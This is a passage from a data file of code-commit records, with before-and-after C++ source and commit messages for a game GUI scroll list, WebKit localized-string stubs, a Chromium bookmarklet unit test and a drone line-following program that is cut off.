where.getWidth() \/ 2, min_y, max_y, font, currentIndex - 1, currentIndex, where, -1);\n\n \/*\n int y = 0;\n int x = 5;\n int current = currentIndex;\n while (y < where.getHeight()){\n Util::ReferenceCount<ScrollItem> & item = this->text[current];\n if (current == currentIndex){\n Graphics::Bitmap::transBlender(0, 0, 0, 255);\n } else {\n Graphics::Bitmap::transBlender(0, 0, 0, 128);\n }\n item->draw(x, y, where.translucent(), font);\n y += font.getHeight();\n current = (current + 1 + this->text.size()) % this->text.size();\n }\n *\/\n}\n\nvoid ScrollList::addItem(const Util::ReferenceCount<ScrollItem> & text){\n this->text.push_back(text);\n}\n\nvoid ScrollList::addItems(const std::vector<Util::ReferenceCount<ScrollItem> > & texts){\n this->text.insert(text.end(), texts.begin(), texts.end());\n}\n\nvoid ScrollList::setPosition(const Gui::Coordinate & location){\n this->position = location;\n}\n\nbool ScrollList::next(){\n currentIndex++;\n scroll = SCROLL_STEP;\n if (scrollWait == 0){\n scrollWait = SCROLL_WAIT;\n }\n if (currentIndex >= text.size()){\n\tif (allowWrap){\n\t currentIndex = 0;\n\t return true;\n\t} else {\n\t currentIndex = text.size()-1;\n\t return false;\n\t}\n }\n return true;\n}\n\nbool ScrollList::previous(){\n scroll = -SCROLL_STEP;\n if (scrollWait == 0){\n scrollWait = SCROLL_WAIT;\n }\n if (currentIndex > 0){\n\tcurrentIndex--;\n } else if (currentIndex == 0){\n\tif (allowWrap){\n\t currentIndex = text.size()-1;\n\t return true;\n\t} else {\n\t return false;\n\t}\n }\n return true;\n}\n\nbool ScrollList::setCurrentIndex(unsigned int index){\n if (index >= text.size()){\n\treturn false;\n }\n currentIndex = index;\n return true;\n}\n\n}\n<commit_msg>[gui] smoother scrolling<commit_after>#include \"..\/bitmap.h\"\n#include \"..\/trans-bitmap.h\"\n#include \"scroll-list.h\"\n#include \"..\/font.h\"\n#include <math.h>\n#include \"..\/debug.h\"\n\nnamespace Gui{\n\nstatic const double FONT_SPACER = 1.3;\nstatic const int GradientMax = 50;\n\ndouble SCROLL_STEP = 20;\nconst double SCROLL_MOTION = 1.2;\nconst int SCROLL_WAIT = 4;\n\nstatic int selectedGradientStart(){\n static int color = Graphics::makeColor(19, 167, 168);\n return color;\n}\n\nstatic int selectedGradientEnd(){\n static int color = Graphics::makeColor(27, 237, 239);\n return color;\n}\n \nScrollItem::ScrollItem(){\n}\n\nScrollItem::~ScrollItem(){\n}\n\nScrollList::ScrollList():\ncurrentIndex(0),\nfontSpacingX(0),\nfontSpacingY(0),\ncurrentPosition(0),\nscrollWait(0),\nselectedGradient(GradientMax, selectedGradientStart(), selectedGradientEnd()),\nuseGradient(false),\nuseHighlight(false),\nallowWrap(true),\nscroll(0){}\n\nScrollList::ScrollList(const ScrollList & copy):\ncurrentIndex(copy.currentIndex),\nfontSpacingX(copy.fontSpacingX),\nfontSpacingY(copy.fontSpacingY),\ncurrentPosition(copy.currentPosition),\nscrollWait(copy.scrollWait),\nselectedGradient(GradientMax, selectedGradientStart(), selectedGradientEnd()),\nuseGradient(copy.useGradient),\nuseHighlight(copy.useHighlight),\nallowWrap(true),\nscroll(0){}\n\nScrollList::~ScrollList(){}\n\nScrollList & ScrollList::operator=(const ScrollList & copy){\n return *this;\n}\n\nvoid ScrollList::act(){\n if (scrollWait == 0){\n if (scroll > SCROLL_MOTION){\n \/\/ scroll -= SCROLL_MOTION;\n scroll \/= SCROLL_MOTION;\n } else if (scroll < -SCROLL_MOTION){\n \/\/ scroll += SCROLL_MOTION;\n scroll \/= SCROLL_MOTION;\n } else {\n scroll = 0;\n currentPosition = currentIndex;\n }\n } else {\n scrollWait -= 1;\n }\n\n \/*\n if (scrollWait > 0){\n scrollWait -= 1;\n } else {\n currentPosition = currentIndex;\n }\n *\/\n}\n\n\/* this is the smooth scroll stuff from context-box *\/\nvoid ScrollList::doDraw(int x, int y, int middle_x, int min_y, int max_y, const Font & font, int current, int selected, const Graphics::Bitmap & area, int direction){\n int fadeAlpha = 255;\n while (y < max_y && y > min_y){\n int pick = current;\n while (pick < 0){\n pick += text.size();\n }\n pick = pick % text.size();\n\n Util::ReferenceCount<ScrollItem> option = text[pick];\n const int startx = middle_x - option->size(font) \/ 2;\n\n \/* draw current selection, make it glow *\/\n if (current == selected){\n Graphics::Bitmap::transBlender(0, 0, 0, fadeAlpha);\n Graphics::TranslucentBitmap translucent(area);\n const int color = useGradient ? selectedGradient.current() : selectedGradientStart();\n option->draw(x + startx, y, color, translucent, font);\n#if 0\n if (option->isAdjustable()){\n const int triangleSize = 14;\n int cx = startx - 15;\n int cy = (int)(y + (font.getHeight()\/FONT_SPACER) \/ 2 + 2);\n\n \/* do the triangles need to be translucent? *\/\n translucent.equilateralTriangle(cx, cy, 180, triangleSize, option->getLeftColor());\n\n cx = (x + startx + font.textLength(option->getName().c_str()))+15;\n translucent.equilateralTriangle(cx, cy, 0, triangleSize, option->getRightColor());\n }\n#endif\n } else {\n \/* draw some other item, and fade it *\/\n int count = (int) fabs((double) current - (double) selected);\n \/* TODO: maybe scale by the number of total items instead of using 35 *\/\n int textAlpha = fadeAlpha - (count * 35);\n if (textAlpha < 0){\n textAlpha = 0;\n }\n Graphics::Bitmap::transBlender(0, 0, 0, textAlpha);\n const int color = Graphics::makeColor(255,255,255);\n option->draw(x + startx, y, color, area.translucent(), font);\n \/\/ font.printf(x + startx, y, color, area.translucent(), option->getName(), 0);\n }\n\n if (text.size() == 1){\n return;\n }\n\n current += direction;\n y += direction * font.getHeight() \/ FONT_SPACER;\n }\n}\n\nvoid ScrollList::render(const Graphics::Bitmap & where, const Font & font){\n\n SCROLL_STEP = font.getHeight() \/ 2;\n \/\/ SCROLL_MOTION = SCROLL_STEP \/ 8;\n \n \/\/ Global::debug(0) << \"Scroll is \" << scroll << std::endl;\n int y = where.getHeight() \/ 2 + scroll - font.getHeight() \/ 2;\n int min_y = 0 - font.getHeight() \/ FONT_SPACER;\n int max_y = where.getHeight();\n\n doDraw(0, y, where.getWidth() \/ 2, min_y, max_y, font, currentIndex, currentIndex, where, 1);\n\n \/* draw above the current selection *\/\n doDraw(0, y - font.getHeight() \/ FONT_SPACER, where.getWidth() \/ 2, min_y, max_y, font, currentIndex - 1, currentIndex, where, -1);\n\n \/*\n int y = 0;\n int x = 5;\n int current = currentIndex;\n while (y < where.getHeight()){\n Util::ReferenceCount<ScrollItem> & item = this->text[current];\n if (current == currentIndex){\n Graphics::Bitmap::transBlender(0, 0, 0, 255);\n } else {\n Graphics::Bitmap::transBlender(0, 0, 0, 128);\n }\n item->draw(x, y, where.translucent(), font);\n y += font.getHeight();\n current = (current + 1 + this->text.size()) % this->text.size();\n }\n *\/\n}\n\nvoid ScrollList::addItem(const Util::ReferenceCount<ScrollItem> & text){\n this->text.push_back(text);\n}\n\nvoid ScrollList::addItems(const std::vector<Util::ReferenceCount<ScrollItem> > & texts){\n this->text.insert(text.end(), texts.begin(), texts.end());\n}\n\nvoid ScrollList::setPosition(const Gui::Coordinate & location){\n this->position = location;\n}\n\nbool ScrollList::next(){\n currentIndex++;\n scroll = SCROLL_STEP;\n if (scrollWait == 0){\n scrollWait = SCROLL_WAIT;\n }\n if (currentIndex >= text.size()){\n\tif (allowWrap){\n\t currentIndex = 0;\n\t return true;\n\t} else {\n\t currentIndex = text.size()-1;\n\t return false;\n\t}\n }\n return true;\n}\n\nbool ScrollList::previous(){\n scroll = -SCROLL_STEP;\n if (scrollWait == 0){\n scrollWait = SCROLL_WAIT;\n }\n if (currentIndex > 0){\n\tcurrentIndex--;\n } else if (currentIndex == 0){\n\tif (allowWrap){\n\t currentIndex = text.size()-1;\n\t return true;\n\t} else {\n\t return false;\n\t}\n }\n return true;\n}\n\nbool ScrollList::setCurrentIndex(unsigned int index){\n if (index >= text.size()){\n\treturn false;\n }\n currentIndex = index;\n return true;\n}\n\n}\n<|endoftext|>"} {"text":"<commit_before>\/*\n * Copyright (C) 2009 Google Inc. All rights reserved.\n *\n * Redistribution and use in source and binary forms, with or without\n * modification, are permitted provided that the following conditions are\n * met:\n *\n * * Redistributions of source code must retain the above copyright\n * notice, this list of conditions and the following disclaimer.\n * * Redistributions in binary form must reproduce the above\n * copyright notice, this list of conditions and the following disclaimer\n * in the documentation and\/or other materials provided with the\n * distribution.\n * * Neither the name of Google Inc. nor the names of its\n * contributors may be used to endorse or promote products derived from\n * this software without specific prior written permission.\n *\n * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS\n * \"AS IS\" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT\n * LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR\n * A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT\n * OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,\n * SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT\n * LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,\n * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY\n * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT\n * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE\n * OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.\n *\/\n\n#include \"config.h\"\n#include \"LocalizedStrings.h\"\n\n#include \"IntSize.h\"\n#include \"NotImplemented.h\"\n#include \"PlatformString.h\"\n#include \"StringBuilder.h\"\n\n#include \"WebKit.h\"\n#include \"WebKitClient.h\"\n#include \"WebLocalizedString.h\"\n#include \"WebString.h\"\n\nusing WebKit::WebLocalizedString;\n\nnamespace WebCore {\n\nstatic String query(WebLocalizedString::Name name)\n{\n return WebKit::webKitClient()->queryLocalizedString(name);\n}\n\nstatic String query(WebLocalizedString::Name name, int numericValue)\n{\n return WebKit::webKitClient()->queryLocalizedString(name, numericValue);\n}\n\nString searchableIndexIntroduction()\n{\n return query(WebLocalizedString::SearchableIndexIntroduction);\n}\n\nString submitButtonDefaultLabel()\n{\n return query(WebLocalizedString::SubmitButtonDefaultLabel);\n}\n\nString inputElementAltText()\n{\n return query(WebLocalizedString::InputElementAltText);\n}\n\nString resetButtonDefaultLabel()\n{\n return query(WebLocalizedString::ResetButtonDefaultLabel);\n}\n\nString fileButtonChooseFileLabel()\n{\n return query(WebLocalizedString::FileButtonChooseFileLabel);\n}\n\nString fileButtonNoFileSelectedLabel()\n{\n return query(WebLocalizedString::FileButtonNoFileSelectedLabel);\n}\n\nString searchMenuNoRecentSearchesText()\n{\n return query(WebLocalizedString::SearchMenuNoRecentSearchesText);\n}\nString searchMenuRecentSearchesText()\n{\n return query(WebLocalizedString::SearchMenuRecentSearchesText);\n}\nString searchMenuClearRecentSearchesText()\n{\n return query(WebLocalizedString::SearchMenuClearRecentSearchesText);\n}\n\nString AXWebAreaText()\n{\n return query(WebLocalizedString::AXWebAreaText);\n}\n\nString AXLinkText()\n{\n return query(WebLocalizedString::AXLinkText);\n}\n\nString AXListMarkerText()\n{\n return query(WebLocalizedString::AXListMarkerText);\n}\n\nString AXImageMapText()\n{\n return query(WebLocalizedString::AXImageMapText);\n}\n\nString AXHeadingText()\n{\n return query(WebLocalizedString::AXHeadingText);\n}\n\nString AXDefinitionListTermText()\n{\n notImplemented();\n return String(\"term\");\n}\n\nString AXDefinitionListDefinitionText()\n{\n notImplemented();\n return String(\"definition\");\n}\n\nString AXButtonActionVerb()\n{\n return query(WebLocalizedString::AXButtonActionVerb);\n}\n\nString AXRadioButtonActionVerb()\n{\n return query(WebLocalizedString::AXRadioButtonActionVerb);\n}\n\nString AXTextFieldActionVerb()\n{\n return query(WebLocalizedString::AXTextFieldActionVerb);\n}\n\nString AXCheckedCheckBoxActionVerb()\n{\n return query(WebLocalizedString::AXCheckedCheckBoxActionVerb);\n}\n\nString AXUncheckedCheckBoxActionVerb()\n{\n return query(WebLocalizedString::AXUncheckedCheckBoxActionVerb);\n}\n\nString AXLinkActionVerb()\n{\n return query(WebLocalizedString::AXLinkActionVerb);\n}\n\nString multipleFileUploadText(unsigned numberOfFiles)\n{\n return query(WebLocalizedString::MultipleFileUploadText, numberOfFiles);\n}\n\n\/\/ Used in FTPDirectoryDocument.cpp\nString unknownFileSizeText()\n{\n return String();\n}\n\n\/\/ The following two functions are not declared in LocalizedStrings.h.\n\/\/ They are used by the menu for the HTML keygen tag.\nString keygenMenuHighGradeKeySize()\n{\n return query(WebLocalizedString::KeygenMenuHighGradeKeySize);\n}\n\nString keygenMenuMediumGradeKeySize()\n{\n return query(WebLocalizedString::KeygenMenuMediumGradeKeySize);\n}\n\n\/\/ Used in ImageDocument.cpp as the title for pages when that page is an image.\nString imageTitle(const String& filename, const IntSize& size)\n{\n \/\/ Note that we cannot use String::format because it works for ASCII only.\n StringBuilder result;\n result.append(filename);\n result.append(\" (\");\n result.append(String::number(size.width()));\n result.append(static_cast<UChar>(0xD7)); \/\/ U+00D7 (multiplication sign)\n result.append(String::number(size.height()));\n result.append(\")\");\n return result.toString();\n}\n\n\/\/ We don't use these strings, so they return an empty String. We can't just\n\/\/ make them asserts because webcore still calls them.\nString contextMenuItemTagOpenLinkInNewWindow() { return String(); }\nString contextMenuItemTagDownloadLinkToDisk() { return String(); }\nString contextMenuItemTagCopyLinkToClipboard() { return String(); }\nString contextMenuItemTagOpenImageInNewWindow() { return String(); }\nString contextMenuItemTagDownloadImageToDisk() { return String(); }\nString contextMenuItemTagCopyImageToClipboard() { return String(); }\nString contextMenuItemTagOpenFrameInNewWindow() { return String(); }\nString contextMenuItemTagCopy() { return String(); }\nString contextMenuItemTagGoBack() { return String(); }\nString contextMenuItemTagGoForward() { return String(); }\nString contextMenuItemTagStop() { return String(); }\nString contextMenuItemTagReload() { return String(); }\nString contextMenuItemTagCut() { return String(); }\nString contextMenuItemTagPaste() { return String(); }\nString contextMenuItemTagNoGuessesFound() { return String(); }\nString contextMenuItemTagIgnoreSpelling() { return String(); }\nString contextMenuItemTagLearnSpelling() { return String(); }\nString contextMenuItemTagSearchWeb() { return String(); }\nString contextMenuItemTagLookUpInDictionary() { return String(); }\nString contextMenuItemTagOpenLink() { return String(); }\nString contextMenuItemTagIgnoreGrammar() { return String(); }\nString contextMenuItemTagSpellingMenu() { return String(); }\nString contextMenuItemTagCheckSpelling() { return String(); }\nString contextMenuItemTagCheckSpellingWhileTyping() { return String(); }\nString contextMenuItemTagCheckGrammarWithSpelling() { return String(); }\nString contextMenuItemTagFontMenu() { return String(); }\nString contextMenuItemTagBold() { return String(); }\nString contextMenuItemTagItalic() { return String(); }\nString contextMenuItemTagUnderline() { return String(); }\nString contextMenuItemTagOutline() { return String(); }\nString contextMenuItemTagWritingDirectionMenu() { return String(); }\nString contextMenuItemTagTextDirectionMenu() { return String(); }\nString contextMenuItemTagDefaultDirection() { return String(); }\nString contextMenuItemTagLeftToRight() { return String(); }\nString contextMenuItemTagRightToLeft() { return String(); }\nString contextMenuItemTagInspectElement() { return String(); }\nString contextMenuItemTagShowSpellingPanel(bool show) { return String(); }\nString mediaElementLiveBroadcastStateText() { return String(); }\nString mediaElementLoadingStateText() { return String(); }\n\n} \/\/ namespace WebCore\n<commit_msg>Add dummy implementation for newly added localized string in WebKit. This is to fix compiling errors in incoming WebKit merge.<commit_after>\/*\n * Copyright (C) 2009 Google Inc. All rights reserved.\n *\n * Redistribution and use in source and binary forms, with or without\n * modification, are permitted provided that the following conditions are\n * met:\n *\n * * Redistributions of source code must retain the above copyright\n * notice, this list of conditions and the following disclaimer.\n * * Redistributions in binary form must reproduce the above\n * copyright notice, this list of conditions and the following disclaimer\n * in the documentation and\/or other materials provided with the\n * distribution.\n * * Neither the name of Google Inc. nor the names of its\n * contributors may be used to endorse or promote products derived from\n * this software without specific prior written permission.\n *\n * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS\n * \"AS IS\" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT\n * LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR\n * A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT\n * OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,\n * SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT\n * LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,\n * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY\n * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT\n * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE\n * OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.\n *\/\n\n#include \"config.h\"\n#include \"LocalizedStrings.h\"\n\n#include \"IntSize.h\"\n#include \"NotImplemented.h\"\n#include \"PlatformString.h\"\n#include \"StringBuilder.h\"\n\n#include \"WebKit.h\"\n#include \"WebKitClient.h\"\n#include \"WebLocalizedString.h\"\n#include \"WebString.h\"\n\nusing WebKit::WebLocalizedString;\n\nnamespace WebCore {\n\nstatic String query(WebLocalizedString::Name name)\n{\n return WebKit::webKitClient()->queryLocalizedString(name);\n}\n\nstatic String query(WebLocalizedString::Name name, int numericValue)\n{\n return WebKit::webKitClient()->queryLocalizedString(name, numericValue);\n}\n\nString searchableIndexIntroduction()\n{\n return query(WebLocalizedString::SearchableIndexIntroduction);\n}\n\nString submitButtonDefaultLabel()\n{\n return query(WebLocalizedString::SubmitButtonDefaultLabel);\n}\n\nString inputElementAltText()\n{\n return query(WebLocalizedString::InputElementAltText);\n}\n\nString resetButtonDefaultLabel()\n{\n return query(WebLocalizedString::ResetButtonDefaultLabel);\n}\n\nString fileButtonChooseFileLabel()\n{\n return query(WebLocalizedString::FileButtonChooseFileLabel);\n}\n\nString fileButtonNoFileSelectedLabel()\n{\n return query(WebLocalizedString::FileButtonNoFileSelectedLabel);\n}\n\nString searchMenuNoRecentSearchesText()\n{\n return query(WebLocalizedString::SearchMenuNoRecentSearchesText);\n}\nString searchMenuRecentSearchesText()\n{\n return query(WebLocalizedString::SearchMenuRecentSearchesText);\n}\nString searchMenuClearRecentSearchesText()\n{\n return query(WebLocalizedString::SearchMenuClearRecentSearchesText);\n}\n\nString AXWebAreaText()\n{\n return query(WebLocalizedString::AXWebAreaText);\n}\n\nString AXLinkText()\n{\n return query(WebLocalizedString::AXLinkText);\n}\n\nString AXListMarkerText()\n{\n return query(WebLocalizedString::AXListMarkerText);\n}\n\nString AXImageMapText()\n{\n return query(WebLocalizedString::AXImageMapText);\n}\n\nString AXHeadingText()\n{\n return query(WebLocalizedString::AXHeadingText);\n}\n\nString AXDefinitionListTermText()\n{\n notImplemented();\n return String(\"term\");\n}\n\nString AXDefinitionListDefinitionText()\n{\n notImplemented();\n return String(\"definition\");\n}\n\nString AXButtonActionVerb()\n{\n return query(WebLocalizedString::AXButtonActionVerb);\n}\n\nString AXRadioButtonActionVerb()\n{\n return query(WebLocalizedString::AXRadioButtonActionVerb);\n}\n\nString AXTextFieldActionVerb()\n{\n return query(WebLocalizedString::AXTextFieldActionVerb);\n}\n\nString AXCheckedCheckBoxActionVerb()\n{\n return query(WebLocalizedString::AXCheckedCheckBoxActionVerb);\n}\n\nString AXUncheckedCheckBoxActionVerb()\n{\n return query(WebLocalizedString::AXUncheckedCheckBoxActionVerb);\n}\n\nString AXLinkActionVerb()\n{\n return query(WebLocalizedString::AXLinkActionVerb);\n}\n\nString multipleFileUploadText(unsigned numberOfFiles)\n{\n return query(WebLocalizedString::MultipleFileUploadText, numberOfFiles);\n}\n\n\/\/ Used in FTPDirectoryDocument.cpp\nString unknownFileSizeText()\n{\n return String();\n}\n\n\/\/ The following two functions are not declared in LocalizedStrings.h.\n\/\/ They are used by the menu for the HTML keygen tag.\nString keygenMenuHighGradeKeySize()\n{\n return query(WebLocalizedString::KeygenMenuHighGradeKeySize);\n}\n\nString keygenMenuMediumGradeKeySize()\n{\n return query(WebLocalizedString::KeygenMenuMediumGradeKeySize);\n}\n\n\/\/ Used in ImageDocument.cpp as the title for pages when that page is an image.\nString imageTitle(const String& filename, const IntSize& size)\n{\n \/\/ Note that we cannot use String::format because it works for ASCII only.\n StringBuilder result;\n result.append(filename);\n result.append(\" (\");\n result.append(String::number(size.width()));\n result.append(static_cast<UChar>(0xD7)); \/\/ U+00D7 (multiplication sign)\n result.append(String::number(size.height()));\n result.append(\")\");\n return result.toString();\n}\n\n\/\/ We don't use these strings, so they return an empty String. We can't just\n\/\/ make them asserts because webcore still calls them.\nString contextMenuItemTagOpenLinkInNewWindow() { return String(); }\nString contextMenuItemTagDownloadLinkToDisk() { return String(); }\nString contextMenuItemTagCopyLinkToClipboard() { return String(); }\nString contextMenuItemTagOpenImageInNewWindow() { return String(); }\nString contextMenuItemTagDownloadImageToDisk() { return String(); }\nString contextMenuItemTagCopyImageToClipboard() { return String(); }\nString contextMenuItemTagOpenFrameInNewWindow() { return String(); }\nString contextMenuItemTagCopy() { return String(); }\nString contextMenuItemTagGoBack() { return String(); }\nString contextMenuItemTagGoForward() { return String(); }\nString contextMenuItemTagStop() { return String(); }\nString contextMenuItemTagReload() { return String(); }\nString contextMenuItemTagCut() { return String(); }\nString contextMenuItemTagPaste() { return String(); }\nString contextMenuItemTagNoGuessesFound() { return String(); }\nString contextMenuItemTagIgnoreSpelling() { return String(); }\nString contextMenuItemTagLearnSpelling() { return String(); }\nString contextMenuItemTagSearchWeb() { return String(); }\nString contextMenuItemTagLookUpInDictionary() { return String(); }\nString contextMenuItemTagOpenLink() { return String(); }\nString contextMenuItemTagIgnoreGrammar() { return String(); }\nString contextMenuItemTagSpellingMenu() { return String(); }\nString contextMenuItemTagCheckSpelling() { return String(); }\nString contextMenuItemTagCheckSpellingWhileTyping() { return String(); }\nString contextMenuItemTagCheckGrammarWithSpelling() { return String(); }\nString contextMenuItemTagFontMenu() { return String(); }\nString contextMenuItemTagBold() { return String(); }\nString contextMenuItemTagItalic() { return String(); }\nString contextMenuItemTagUnderline() { return String(); }\nString contextMenuItemTagOutline() { return String(); }\nString contextMenuItemTagWritingDirectionMenu() { return String(); }\nString contextMenuItemTagTextDirectionMenu() { return String(); }\nString contextMenuItemTagDefaultDirection() { return String(); }\nString contextMenuItemTagLeftToRight() { return String(); }\nString contextMenuItemTagRightToLeft() { return String(); }\nString contextMenuItemTagInspectElement() { return String(); }\nString contextMenuItemTagShowSpellingPanel(bool show) { return String(); }\nString mediaElementLiveBroadcastStateText() { return String(); }\nString mediaElementLoadingStateText() { return String(); }\n\nString localizedMediaControlElementString(const String& \/*name*\/)\n{\n \/\/ FIXME: to be fixed.\n return String();\n}\n\nString localizedMediaControlElementHelpText(const String& \/*name*\/)\n{\n \/\/ FIXME: to be fixed.\n return String();\n}\n\nString localizedMediaTimeDescription(float \/*time*\/)\n{\n \/\/ FIXME: to be fixed.\n return String();\n}\n\n} \/\/ namespace WebCore\n<|endoftext|>"} {"text":"<commit_before>\/\/ Copyright (c) 2006-2008 The Chromium Authors. All rights reserved.\n\/\/ Use of this source code is governed by a BSD-style license that can be\n\/\/ found in the LICENSE file.\n\n#include \"config.h\"\n\n#include \"testing\/gtest\/include\/gtest\/gtest.h\"\n\n#include \"base\/file_util.h\"\n#include \"base\/message_loop.h\"\n#include \"base\/path_service.h\"\n#include \"base\/string_util.h\"\n#include \"webkit\/tools\/test_shell\/test_shell_test.h\"\n\nnamespace {\n\nclass BookmarkletTest : public TestShellTest {\n public:\n virtual void SetUp() {\n TestShellTest::SetUp();\n\n test_shell_->LoadURL(L\"data:text\/html,start page\");\n test_shell_->WaitTestFinished();\n }\n};\n\n}\n\nTEST_F(BookmarkletTest, Redirect) {\n test_shell_->LoadURL(L\"javascript:location.href='data:text\/plain,SUCCESS'\");\n test_shell_->WaitTestFinished();\n std::wstring text = test_shell_->GetDocumentText();\n EXPECT_EQ(L\"SUCCESS\", text);\n}\n\nTEST_F(BookmarkletTest, NonEmptyResult) {\n test_shell_->LoadURL(L\"javascript:false\");\n MessageLoop::current()->RunAllPending();\n std::wstring text = test_shell_->GetDocumentText();\n EXPECT_EQ(L\"false\", text);\n\n test_shell_->LoadURL(L\"javascript:'hello world'\");\n MessageLoop::current()->RunAllPending();\n text = test_shell_->GetDocumentText();\n EXPECT_EQ(L\"hello world\", text);\n}\n\nTEST_F(BookmarkletTest, DocumentWrite) {\n test_shell_->LoadURL(\n L\"javascript:document.open();\"\n L\"document.write('hello world');\"\n L\"document.close()\");\n MessageLoop::current()->RunAllPending();\n std::wstring text = test_shell_->GetDocumentText();\n EXPECT_EQ(L\"hello world\", text);\n}\n\n<commit_msg>Disable this bookmarklet test since it covers functionality that JSC doesn't support.<commit_after>\/\/ Copyright (c) 2006-2008 The Chromium Authors. All rights reserved.\n\/\/ Use of this source code is governed by a BSD-style license that can be\n\/\/ found in the LICENSE file.\n\n#include \"config.h\"\n\n#include \"testing\/gtest\/include\/gtest\/gtest.h\"\n\n#include \"base\/file_util.h\"\n#include \"base\/message_loop.h\"\n#include \"base\/path_service.h\"\n#include \"base\/string_util.h\"\n#include \"webkit\/tools\/test_shell\/test_shell_test.h\"\n\nnamespace {\n\nclass BookmarkletTest : public TestShellTest {\n public:\n virtual void SetUp() {\n TestShellTest::SetUp();\n\n test_shell_->LoadURL(L\"data:text\/html,start page\");\n test_shell_->WaitTestFinished();\n }\n};\n\n}\n\nTEST_F(BookmarkletTest, Redirect) {\n test_shell_->LoadURL(L\"javascript:location.href='data:text\/plain,SUCCESS'\");\n test_shell_->WaitTestFinished();\n std::wstring text = test_shell_->GetDocumentText();\n EXPECT_EQ(L\"SUCCESS\", text);\n}\n\nTEST_F(BookmarkletTest, NonEmptyResult) {\n std::wstring text;\n\n \/\/ TODO(darin): This test fails in a JSC build. WebCore+JSC does not really\n \/\/ need to support this usage until WebCore supports javascript: URLs that\n \/\/ generate content (https:\/\/bugs.webkit.org\/show_bug.cgi?id=14959). It is\n \/\/ important to note that Safari does not support bookmarklets, and this is\n \/\/ really an edge case. Our behavior with V8 is consistent with FF and IE.\n#if 0\n test_shell_->LoadURL(L\"javascript:false\");\n MessageLoop::current()->RunAllPending();\n text = test_shell_->GetDocumentText();\n EXPECT_EQ(L\"false\", text);\n#endif\n\n test_shell_->LoadURL(L\"javascript:'hello world'\");\n MessageLoop::current()->RunAllPending();\n text = test_shell_->GetDocumentText();\n EXPECT_EQ(L\"hello world\", text);\n}\n\nTEST_F(BookmarkletTest, DocumentWrite) {\n test_shell_->LoadURL(\n L\"javascript:document.open();\"\n L\"document.write('hello world');\"\n L\"document.close()\");\n MessageLoop::current()->RunAllPending();\n std::wstring text = test_shell_->GetDocumentText();\n EXPECT_EQ(L\"hello world\", text);\n}\n\n<|endoftext|>"} {"text":"<commit_before>\/*\n * Copyright 2014 Jules Cléro\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n * http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n *\n *\/\n\nextern \"C\"\n{\n\/** LibLineFollowing *\/\n#include \"SystemDrone.h\"\n}\n\n#include <libDroneMovement\/Drone.hpp>\n#include <libDroneVideo\/FrameGrabber.hpp>\n#include <libDroneVideo\/LineDetector.hpp>\n#include <chrono>\n#include <thread>\n\nint main(void)\n{\n using namespace ghost::libDroneMovement;\n using namespace ghost::libDroneVideo;\n\n Drone drone(\"127.0.0.1\");\n FrameGrabber frameGrabber = FrameGrabber();\n\n \/\/ Auto Pilot initialization\n inC_SystemDrone inputAutoPilot;\n outC_SystemDrone outputAutoPilot;\n\n SystemDrone_init(&outputAutoPilot);\n\n drone.takeOff();\n\n \/\/ Drop Frames\n frameGrabber.getNextVerticalFrame(),\n std::this_thread::sleep_for(std::chrono::milliseconds(500));\n\n double lineAngle = 0.0;\n bool needImageUpdate = true;\n\n for (size_t i = 0; i < 1000; i++) {\n\n if (i % 10 == 0) {\n needImageUpdate = true;\n }\n\n if (needImageUpdate) {\n \/\/ Frame Analysis\n std::cout << \"Update Image: \" << std::endl;\n LineDetector<FrameGrabber::DroneVerticalFrame> lineDetector(\n frameGrabber.getNextVerticalFrame(),\n 320,\n 240);\n\n lineAngle = lineDetector.getLineAngle();\n\n if (std::isnan(lineAngle)) {\n \/\/ we don't see the line, let's assume we are good for now\n lineAngle = 0.0;\n }\n\n inputAutoPilot.LineAngle = lineAngle;\n inputAutoPilot.RightWay = true;\n inputAutoPilot.GoLeft = false;\n inputAutoPilot.GoRight = false;\n\n inputAutoPilot.ImageUpdate = needImageUpdate;\n\n needImageUpdate = false;\n } else {\n inputAutoPilot.ImageUpdate = needImageUpdate;\n }\n\n float currentAngle = drone.getPsiAngle() \/ 1000.0;\n\n inputAutoPilot.currentAngle = currentAngle;\n\n std::cout << \"Angle Ligne: \" << lineAngle << std::endl;\n std::cout << \"Angle Drone: \" << currentAngle << std::endl;\n\n std::cout << \"Yaw speed Drone: \" << outputAutoPilot.Yaw << std::endl;\n\n 